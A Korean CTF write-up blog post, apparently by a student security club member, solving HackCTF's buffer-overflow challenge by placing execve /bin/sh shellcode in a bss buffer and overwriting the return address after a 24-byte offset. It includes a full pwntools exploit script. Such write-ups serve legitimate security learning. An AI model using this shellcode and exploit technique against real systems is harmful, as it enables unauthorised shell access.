혜랑's STORY

[HackCTF] 내 버퍼가 흘러넘친다!!! 본문

2021 SISS 21기 활동/1학기 시스템

[HackCTF] 내 버퍼가 흘러넘친다!!!

hyerang0125 2021. 4. 2. 12:28

# checksec을 통해 보호기법 및 파일 유형 체크하기

-> 확인해본 경과 prob1dms 32bit 파일이고, 보호기법은 없다. 따라서 Return Shellcode를 사용해 프로그램의 흐름을 변경할 수 있을 것 같다.

# IDA를 통해 Pseudo Code 확인하기

  • s의 크기는 0x14(20) byte라는 것을 알 수 있다.
  • gets() 함수로 s 변수에 입력받은 문자열을 저장함으로써 버퍼오퍼플로우 취약점이 발생한다.

  • name 주소는 bss영역에 있어 주소가 바뀌지 않는다. (bss영역 : 초기화되지 않은 전역 데이터를 위한 영역)

-> 즉, s의 크기가 쉘코드를 전달하기에 충분하지 못하므로 name에 쉘코드를 담고 Return address를 name의 주소를 저장하면 RET 명령어로 해당 주소를 리턴하여 쉘코드를 실행할 수 있다.

# Return address 까지의 거리 구하기

  • 0x08484cd : main() 함수의 시작 - 스택의 시작
  • 0x8048514 : gets() 함수 호출 - 버퍼오버플로우 취약점 발생

다음과 같이 Return address를 확인할 수 있다.

  • esp 레지스터가 가리키고 있는 최상위 Stack 메모리는 0xffffcfec이다.

  • s의 시작 주소는 0xffffcfd4이다.

  • Return address와 24byte 떨어져 있다.
  • -> 즉, 사용자 값으로 문자를 24개 이상 입력하면, REturn address를 덮어쓸 수 있다.

다음과 같이 Return address 값이 변경된 것을 확인할 수 있다. ('A'로 도배됨)

#Payload

앞에서 확인한 내용을 바탕으로 아래와 같이 Exploit code를 작성할 수 있다.

from pwn import *
#context.log_level = 'debug'

p = remote('ctf.j0n9hyun.xyz', 3003)

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

p.sendlineafter("Name : ", shellcode)

payload = "A"*24 +"\x60\xa0\x04\x08"

p.sendlineafter("input : ", payload)

p.interactive()

 

#Exploit

해당 Exploit code를 실행하여 ahell을 획득한다.

# 결과

성공!

 

'2021 SISS 21기 활동 > 1학기 시스템' 카테고리의 다른 글

[HackCTF] x64 Buffer Overflow  (0) 2021.04.09
[HackCTF] Basic_BOF #1  (0) 2021.04.09
[TAMU CTF 2018] pwn3  (0) 2021.03.31
[HITCON-Training] lab3 - ret2sc  (0) 2021.03.30
[Lazenca] Return to Shellcode  (0) 2021.03.30